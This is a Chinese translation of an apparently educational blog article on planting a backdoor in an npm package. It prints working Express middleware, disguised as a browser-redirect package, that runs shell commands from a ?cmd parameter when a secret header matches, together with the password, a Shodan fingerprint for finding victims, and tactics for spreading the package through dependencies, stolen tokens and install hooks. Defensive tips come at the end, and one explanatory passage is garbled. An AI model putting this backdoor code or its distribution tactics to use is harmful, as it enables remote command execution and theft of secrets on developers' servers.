可以与操作系统无缝交互的自有代码后门,是所有开发人员的噩梦之一。目前,npm有超过120万个公共软件包。在过去的三年中,项目成瘾已成为网络犯罪分子的理想目标。如果开发社区不密切关注安全性,那么npm生态系统可能会令人惊讶地脆弱。作为此想法的证据,只需使用事件流npm包就可以回顾打字错误和事件。
这篇文章的作者(我们今天将发表其翻译是)出于教育目的,希望讨论如何为Node.js平台创建后门。
什么是后门?
这是在Malwarebytes资源上给出的“后门”一词的定义:“在网络安全领域,后门是授权和未授权用户可以绕过常见的安全措施并获得对计算机系统的高级根访问权限的任何方法,网络应用。在获得对系统的这种访问权限之后,网络罪犯可以使用后门窃取个人和财务数据,安装其他恶意软件并入侵设备。”后门由两个主要部分组成:- 嵌入并在受攻击的系统上执行的恶意代码
- 开放的通信渠道,使攻击者可以将命令发送到后门并控制远程计算机。
将向安装在计算机上的后门发送命令以响应其执行某些操作。这些命令可以是旨在从系统中提取有价值的信息(例如环境变量)的命令,也可以是旨在对数据库进行攻击的命令。此外,执行此类命令可能会导致影响单个计算机或整个网络的其他进程发生变化。攻击的规模取决于受感染的应用程序具有的权限。在我们的案例中,我们正在谈论为Node.js平台编写的应用程序。为了创建实现上述攻击的程序的简化版本,我们将使用标准模块child_process来执行代码。为了与后门建立通信,我们使用HTTP服务器。我建议您在这种情况下使用Express框架,该框架以其强大的功能而闻名,但是可以使用任何其他合适的工具来实现将要讨论的内容。为什么我们需要child_process?
标准的Node.js模块child_process
可用于启动子进程。这里的主要思想是,它使我们有机会执行命令(通过标准输入流-进入过程stdin
),例如pwd
或ping snyk.io
,然后集成这些命令的结果(输出来自输出流- stdout
)和可能的错误消息(来自流stderr
)到主程序。进程执行及其与标准输入,输出和错误流的关系,它们在运行中的系统进程中扮演输入和输出流的角色,有多种执行子进程的方法。对于这种攻击,最简单的方法是使用一个函数exec
,该函数允许您回调并将进入stdout
和流的内容放入适当的缓冲区stderr
。例如,将作为命令结果发布cat passwords.txt
。请注意,函数exec
不是执行冗长的任务(如)的最佳方法ping snyk.io
。const {exec} = require('child_process');
exec('cat .env', (err, stdout, stderr) => {
if(err) throw err
if(stderr) return console.log(`Execution error: ${stderr}`)
console.log(`Env file content: ${stdout}`)
})
如何将exec函数与HTTP服务器结合?
我为Express应用程序开发了一个简单,外观纯真的浏览器重定向中间件程序包。它将非Chrome用户重定向到browserhappy.com。我将在此程序包中包含恶意代码。软件包代码将如下所示:const useragent = require('useragent');
module.exports = () => (req, res, next) => {
const ua = useragent.is(req.headers['user-agent']);
ua.chrome ? next(): res.redirect("https://browsehappy.com/")
}
受害者只要安装软件包并在Express应用程序中使用它就足够了,就像他们在中间层使用任何软件包一样:const express = require("express");
const helmet = require("helmet")
const browserRedirect = require("browser-redirect ")
const app = express();
app.use(browserRedirect())
app.use(helmet())
app.get("/", (req, res)=>{
res.send("Hello Chrome User!")
})
app.listen(8080)
请注意,在这种情况下,即使使用Helmet
,也不能保护应用程序免受攻击。恶意代码
恶意代码的实现非常简单:const {exec} = require("child_process")
const crypto = require('crypto');
const useragent = require('useragent');
module.exports = () => (req, res, next) => {
const {cmd} = req.query;
const hash = crypto.createHash('md5')
.update(String(req.headers["knock_knock"]))
.digest("hex");
res.setHeader("Content-Sec-Policy", "default-src 'self'")
if(cmd && hash === "c4fbb68607bcbb25407e0362dab0b2ea") {
return exec(cmd, (err, stdout, stderr)=>{
return res.send(JSON.stringify({err, stdout, stderr}, null, 2))
})
}
const ua = useragent.is(req.headers['user-agent']);
ua.chrome ? next(): res.redirect("https://browsehappy.com/")
}
我们的后门如何运作?要回答此问题,请考虑以下事项:- , . . md5- (
p@ssw0rd1234
c4fbb68607bcbb25407e0362dab0b2ea
). knock_knock
. , , , . - , . , .
Content-Sec-Policy
, Content-security-policy
. — . . Shodan, : /search?query=Content-Sec-Policy%3A+default-src+%27self%27
. ?cmd
. . victim.com/?cmd=whoami
?cmd=cat .env
JSON.
既然后门代码已经准备好,您需要考虑如何分发恶意软件包。第一步是发布程序包。我browser-redirect@1.0.2
在npm中发布了该软件包。但是,如果您查看项目的GitHub存储库,那么恶意代码将不会存在。亲自看看-看一下主项目分支并发布1.0.2。这是可能的,因为npm不会使用某些旨在与源代码一起工作的系统中发布的代码来验证发布的软件包的代码。尽管该软件包在npm上发布,但分发的机会仍然非常低,因为潜在的受害者仍然需要找到并安装它。分发软件包的另一种方法是添加恶意模块作为其他软件包的依赖项。如果攻击者可以使用具有某些重要程序包发布权的帐户访问帐户,则可以发布该程序包的新版本。软件包新版本的依赖项还将包括一个后门。因此,我们正在谈论将恶意软件包直接包含在流行项目的依赖项中(请看一下事件流中发生的事件的分析)。或者,攻击者可以通过对锁定文件进行适当的更改来尝试在项目中进行PR。在这里阅读。需要考虑的另一个重要因素是,攻击者可以访问支持某个受欢迎项目的人员的凭据(用户名和密码)。如果攻击者拥有此类数据,则他可以轻松地发布软件包的新版本-就像eslint一样。但是即使支持该项目的人使用两因素身份验证来发布它,他仍然会冒险。而且,当使用持续集成系统来部署项目的新版本时,必须关闭两因素身份验证。结果,如果攻击者可以为连续集成系统窃取有效的npm令牌(例如,从意外公开的日志,数据泄漏和其他类似来源中窃取),则他将能够部署包含恶意代码的新版本。请注意,新的API已发布。(仍处于私有测试版状态),这使您可以确定是否使用TOR网络的IP地址发布了该程序包,以及在发布时是否使用了双重身份验证。此外,攻击者可以配置恶意代码,以使其以脚本的形式运行,该脚本在安装之前或安装任何npm软件包之后执行。npm软件包有标准的生命周期挂钩,可让您在特定时间在用户计算机上执行代码。例如,用于在浏览器中组织测试项目的系统Puppeteer使用这些挂钩将 Chromium 安装在主机系统上。瑞安·达尔(Ryan Dahl)已经说过有关JSConf EU 2018的这些漏洞的信息。Node.js平台需要更高级别的保护,以防止此攻击和其他攻击媒介。以下是开源软件安全性研究的一些结论:- 在间接依赖项中发现了78%的漏洞,这使摆脱此类漏洞的过程变得复杂。
- 在过去的两年中,图书馆中的漏洞增加了88%。
- 81%的受访者认为开发人员应该对安全负责。此外,他们认为开发人员对此没有做好充分的准备。
结果:如何保护自己免受后门攻击?
控制依赖关系并不总是那么容易,但是一些技巧可以帮助您:- 使用知名且受支持的库。
- 参与社区生活并帮助那些支持图书馆的人。帮助可能包括编写代码或为项目提供财务支持。
- 使用NQP分析项目的新依赖关系。
- 使用Snyk可以随时了解漏洞并监视您的项目。
- 分析存储在npm中的正在使用的依赖项的代码。不要局限于查看来自GitHub或其他类似系统的代码。
亲爱的读者们!您如何使用他人的代码保护您的项目?